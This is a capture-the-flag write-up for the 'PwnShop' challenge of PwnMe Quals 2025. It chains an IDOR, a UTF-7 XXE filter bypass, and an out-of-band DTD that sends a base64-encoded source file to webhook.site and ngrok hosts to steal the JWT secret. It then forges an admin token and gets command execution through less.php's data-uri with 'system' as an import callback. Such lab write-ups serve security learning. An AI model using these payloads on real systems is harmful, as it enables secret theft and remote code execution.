PwnMe Quals 2025 - PwnShop

Posted Tue 04 March 2025
Author Wepfen
Category Writeup
Reading 6 min read
Featured image

Difficulty : Hard

Description : A junior developer have created a shop application for his friend who want to sell his products. But he’s not sure if the application is secure. Can you check the security of the application ?

TLDR

Exploiting an XXE via an IDOR in Order Submission

First, we need to exploit an XXE (XML External Entity) vulnerability via an IDOR (Insecure Direct Object Reference) in the order submission endpoint: /api/orders/submit.

This API endpoint is accessible to all users.

File: src/app/src/Api/Rest/RestController.php

#[Privilege(permissions: [Permissions::CHECKOUT])]
private function submitOrder($currentUser, $data) {

File: src/app/src/Models/User.php

$stmt = $this->db->prepare("
    INSERT INTO user_permissions (user_id, permission)
    SELECT ?, permission
    FROM (
        SELECT 'viewProducts' as permission UNION
        SELECT 'updateProfile' UNION
        SELECT 'changePassword' UNION
        SELECT 'manageCart' UNION
        SELECT 'checkout' UNION
        SELECT 'manageOrders' UNION
        SELECT 'viewOrders' UNION
        SELECT 'searchOrders'
    ) AS permissions_list
");

Since there is no check to verify that the order belongs to the current user, we can submit an order using another user’s ID.

File: src/app/src/Api/Rest/RestController.php

#[Privilege(permissions: [Permissions::CHECKOUT])]
private function submitOrder($currentUser, $data) {
    try {
        $order = $this->order->getOrderById($data["id"]);
        if (!$order) {
            return ['error' => 'Order not found', 'status' => 404];
        }
        if ($order["status"] !== "pending") {
            return ['error' => 'Order is not pending', 'status' => 400];
        }
        // ...
    }
}

By submitting an order with another user’s ID, we can validate that user’s order.

Next, we can exploit an XXE via the xml parameter which contains the order information.

File: src/app/src/Api/Rest/RestController.php

$xml = simplexml_load_string($xmlSanitized, 'SimpleXMLElement', LIBXML_NOENT);

However, there is a check to validate the XML.

File: src/app/src/Api/Rest/RestController.php

$xmlSanitized = $this->xmlScanner->scan($data["xml"]);

The scan function verifies that the XML is valid and does not contain external entities.

File: src/app/src/Security/XmlScanner.php

public function scan($xml): string
{
    $pattern = '/\\0*' . implode('\\0*', str_split($this->pattern)) . '\\0*/';

    $xml = "$xml";
    if (preg_match($pattern, $xml)) {
        throw new Exception('Before UTF-8 conversion, detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
    }
    $xml = $this->toUtf8($xml);
    if (preg_match($pattern, $xml)) {
        var_dump($xml);
        throw new Exception('After UTF-8 conversion, detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
    }

    return $xml;
}

This function checks if the XML contains external entities and replaces them with a null character. It then converts the XML to UTF-8 and performs the check again.

To bypass this verification, we use a trick that bypasses the UTF-8 conversion. We double-encode the XML in UTF-7 and use the notation encoencoding="UTF7"ding="UTF-7" so that, initially, the encodining field is removed by the scan function and our encoding becomes encoding="UTF-7".

Thus, our initial payload is:

<?xml version=\"1.0\" encoencoding=\"UTF7\"ding=\"UTF-7\" standalone=\"yes\"?>
+-ADw-!DOCTYPE order [ <!ENTITY % pe SYSTEM \"https://5515-81-64-59-65.ngrok-free.app/exploit.dtd\"> %pe; %param1; ]>
<order>
<shipping_address>
<name>poc</name>
<address>&external;</address>
<zipcode>poc</zipcode>
<city>poc</city>
<country>poc</country>
<phone>poc</phone>
</shipping_address>
</order>

After passing through the scan function, it becomes exploitable:

<?xml version=\"1.0\" encoding=\"UTF-7\" standalone=\"yes\"?>
+-ADw-!DOCTYPE order [ <!ENTITY % pe SYSTEM \"https://5515-81-64-59-65.ngrok-free.app/exploit.dtd\"> %pe; %param1; ]>
<order>
<shipping_address>
<name>poc</name>
<address>&external;</address>
<zipcode>poc</zipcode>
<city>poc</city>
<country>poc</country>
<phone>poc</phone>
</shipping_address>
</order>

Using the bypass discovered in XmlScanner.php, we can access the file JWTManager.php which contains the secret key used to sign JWTs. However, to retrieve its contents, we must perform an Out Of Band (OOB) request since the response content is not directly returned.

We use a webhook to capture the file’s contents.

File: exploit.dtd

<!ENTITY % stuff SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/src/Auth/JWTManager.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'https://webhook.site/56767caf-e9b4-42af-b1d4-24f7b419cbd4?data=%stuff;'>">

File: exploit.xml

<?xml version=\"1.0\" encoencoding=\"UTF7\"ding=\"UTF-7\" standalone=\"yes\"?>+-ADw-!DOCTYPE order [ <!ENTITY % pe SYSTEM \"https://5515-81-64-59-65.ngrok-free.app/exploit.dtd\"> %pe; %param1; ]><order><shipping_address><name>poc</name><address>&external;</address><zipcode>poc</zipcode><city>poc</city><country>poc</country><phone>poc</phone></shipping_address></order>

The HTTP request to submit the order is as follows.

Request (HTTP):

POST /api/orders/submit HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <JWT Token>

{"xml":"<?xml version=\"1.0\" encoencoding=\"UTF7\"ding=\"UTF-7\" standalone=\"yes\"?>+-ADw-!DOCTYPE order [ <!ENTITY % pe SYSTEM \"https://5515-81-64-59-65.ngrok-free.app/exploit.dtd\"> %pe; %param1; ]><order><shipping_address><name>poc</name><address>&external;</address><zipcode>poc</zipcode><city>poc</city><country>poc</country><phone>poc</phone></shipping_address></order>","id":1}

And on our webhook, we get the file JWTManager.php encoded in base64: JWTManager.php

We decode it and get the secret key: secret_key

2. Generating a Valid JWT for the Admin User

Now that we have the secret key, we can generate a valid JWT for the admin user: forge JWT

This allows us to access the administration page: Admin Page

Although many admin features are available, most are not exploitable. However, we can modify certain application parameters like the application name, site name, CSS, etc.

3. Exploiting Less.php to achieve RCE

In the CSS modification features, the less.php library is used.

To identify that we can check the composer.json

File: src/app/composer.json

"require": {
        "wikimedia/less.php": "^5.1",
        // ...
},

In the code of the library, we see that the parameter $rooturi is invoked using call_user_func

File: src/app/vendor/wikimedia/less.php/lib/Less/FileManager.php

$res = $rooturi( $filename );

$rooturi comes from Less_Parser::$options['import_dirs']

File: src/app/vendor/wikimedia/less.php/lib/Less/FileManager.php

$import_dirs = array_merge( $import_dirs, Less_Parser::$options['import_dirs'] );
foreach ( $import_dirs as $rootpath => $rooturi ) {

Thus, using the function SetImportDirs, we can modify Less_Parser::$options['import_dirs'].

File: src/app/vendor/wikimedia/less.php/lib/Less/Parser.php

public function SetImportDirs( $dirs ) {
    self::$options['import_dirs'] = [];
    
    foreach ( $dirs as $path => $uri_root ) {
        $path = self::WinPath( $path );
        if ( !empty( $path ) ) {
            $path = rtrim( $path, '/' ) . '/';
        }

        if ( !is_callable( $uri_root ) ) {
            $uri_root = self::WinPath( $uri_root );
            if ( !empty( $uri_root ) ) {
                $uri_root = rtrim( $uri_root, '/' ) . '/';
            }
        }

        self::$options['import_dirs'][$path] = $uri_root;
    }
}

The question is how we can control $importDirs. We look at where $importDirs comes from the following code.

File: src/app/src/Models/Settings.php

$importDirs = $this->getImportDirectories();

The getImportDirectories function retrieves data from the less_import_directories table.

File: src/app/src/Models/Settings.php

private function getImportDirectories(): array {
    try {
        $stmt = $this->db->query("SELECT physical_path, import_path FROM less_import_directories");
        $directories = [];
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            $directories[$row['physical_path']] = $row['import_path'];
        }
        $directories[$this->lessDirectory] = '';
        return $directories;
    } catch (PDOException $e) {
        return [$this->lessDirectory => ''];
    }
}

Thus, to control $importDirs, we need to modify the table less_import_directories via the function addImportDirectory().

File: src/app/src/Models/Settings.php

public function addImportDirectory(string $physicalPath, string $importPath): bool {
    try {
        $this->fileScanner->validatePath($physicalPath);
        $this->fileScanner->validatePath($importPath);
        $stmt = $this->db->prepare("
            INSERT INTO less_import_directories (physical_path, import_path)
            VALUES (?, ?)
            ON DUPLICATE KEY UPDATE import_path = VALUES(import_path)
        ");
        
        return $stmt->execute([
            rtrim($physicalPath, '/'),
            trim($importPath, '/')
        ]);
    } catch (Exception $e) {
        return false;
    }
}

To call this function, we use the endpoint /api/settings/less/imports with a POST request.

Request (HTTP):

POST /api/settings/less/imports HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <JWT Token>

{"physicalPath":"/var/www/html/resources/less","importPath":"system"}

To trigger command execution, we need to call the function Less_FileManager::getFilePath(), which is invoked within the function datauri:.

File: src/app/vendor/wikimedia/less.php/lib/Less/Functions.php

public function datauri( $mimetypeNode, $filePathNode = null ) {
    if ( !$filePathNode ) {
        $filePathNode = $mimetypeNode;
        $mimetypeNode = null;
    }
    
    $filePath = $filePathNode->value;
    // ...
    [ $filePath ] = Less_FileManager::getFilePath( $filePath, $this->currentFileInfo );

Since $filePath is user-controlled, we can inject CSS that contains the command which will be executed when getFilePath() is called. For example:

.test { 
    content: data-uri('id'); 
}

The HTTP request to inject this CSS is as follows

Request (HTTP):

PUT /api/settings/css HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <JWT Token>

{"css":".test { content: data-uri('id');}"}

The response will include the result of the command execution.

Response (HTTP):

HTTP/1.1 200 OK
Date: Sun, 02 Feb 2025 12:14:50 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 114

uid=33(www-data) gid=33(www-data) groups=33(www-data)
{"success":true,"message":"Custom CSS updated successfully"}

And to finally get the flag, we need to execute /getflag PWNME:

.test { 
    content: data-uri('/getflag PWNME'); 
}

The HTTP request to inject this CSS is as follows.

Request (HTTP):

PUT /api/settings/css HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <JWT Token>

{"css":".test { content: data-uri('/getflag PWNME');}"}

And the response will include the flag.

Response (HTTP):

HTTP/1.1 200 OK
Date: Sun, 02 Feb 2025 13:10:51 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 76

PWNME{f8c24b0632286fe10e506350b4074779}{"success":true,"message":"Custom CSS updated successfully"}